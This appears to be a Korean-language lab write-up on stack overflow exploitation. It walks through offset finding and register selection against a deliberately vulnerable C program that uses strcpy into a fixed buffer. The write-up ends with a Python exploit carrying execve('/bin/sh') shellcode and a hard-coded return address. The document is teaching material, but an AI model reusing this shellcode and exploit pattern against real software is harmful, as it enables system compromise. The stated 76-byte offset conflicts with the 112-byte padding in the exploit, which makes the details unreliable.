Return 주소 조작을 통한 스택 오버플로우 구현 절차
1. 예외를 발생 시키는 주입 지점 확인
2. 주입지점부터 Return Address 위치까지의 옵셋(거리)를 확인
3. 실행의 흐름 조작 가능 여부 확인
4. 간접 분기에 사용할 Register 확인 (전제 조건은 우리가 더럽힐 수 있는 스택을 포인팅 하고 있어야함)
5. 주입 지점부터 간접 분기에 사용할 레지스터가 가르키는 스택의 지점까지 거리 확인
6. Call Register 코드 확인
7. 익스플로잇 코드 제작 및 테스트
목표) 아래 소스코드로 컴파일된 실행파일의 스택 오버플로우 취약점을 찾고 쉘코드 실행
- bof.c
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
void dovuln(const char *s)
{
char buf[100];
strcpy(buf,s);
puts(buf);
fflush(stdout);
strdup(buf);
}
int main(int argc, char **argv)
{
if (argc < 2)
{
puts("usage : bof1 ");
exit(1);
}
dovuln(argv[1]);
return 0;
}
1. 예외를 발생시키는 주입 지점 확인
2. 주입지점으로부터 Return Address 위치까지의 옵셋(거리)을 확인
3. 리턴값 변경 확인 및 실행의 흐름 조작 가능 여부 확인
리턴값 까지의 옵셋 거리는 76바이트
76바이트 만큼 A값을 주고 그다음값인 리턴값에 B 4개를 준다 (B = hex값 42, 0x42424242)
4. 간접 분기에 사용할 REGISTER 확인 - EAX 레지스터 사용 (둘중 아무거나 사용가능)
실행결과 화면 참고
EAX 레지스터와 EDX 레지스터가 150개의 패턴값을 가지고 있는것을 확인
5. 주입 지점분터 간접 분기에 사용할 레지스터가 가리키는 스택의 지점까지 거리 확인
EAX 레지스터의 옵셋은 0 이므로 바로 실행된다는 뜻
주입지점
|------------------- 76바이트 ---------------|ReturnAddress|
EAX
6. Call Register 코드 확인
7. 익스플로잇 코드 제작 및 테스트
- exp_bof1.py
shellcode= ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80")
ret = "\xa3\x84\x04\x08"
evil = shellcode + '\x90' * (112-len(shellcode)) + ret
print evil
쉘 프롬프트 획득